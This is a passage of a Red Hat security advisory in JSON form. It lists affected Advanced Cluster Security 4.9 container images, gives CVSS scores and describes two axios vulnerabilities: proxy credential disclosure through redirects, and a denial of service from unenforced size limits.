"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Information disclosure of proxy credentials via redirect flows"
},
{
"cve": "CVE-2026-44488",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2026-06-11T17:01:36.836488+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2487949"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a promise-based HTTP client. When using the fetch adapter, Axios did not properly enforce configured request and response size limits. This vulnerability allows a remote attacker, through a malicious or compromised server, or by supplying a large data URL, to send or receive oversized data bodies. This can lead to resource exhaustion in server-side applications, resulting in a Denial of Service (DoS).",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Denial of Service due to unenforced request and response size limits",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "Important: A denial of service flaw was found in Axios, a JavaScript HTTP client library. This issue arises when applications utilize the `fetch` adapter, as configured request and response size limits are not properly enforced. A remote attacker could exploit this by sending or receiving excessively large data bodies, leading to resource exhaustion and potential denial of service in affected server-side applications.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
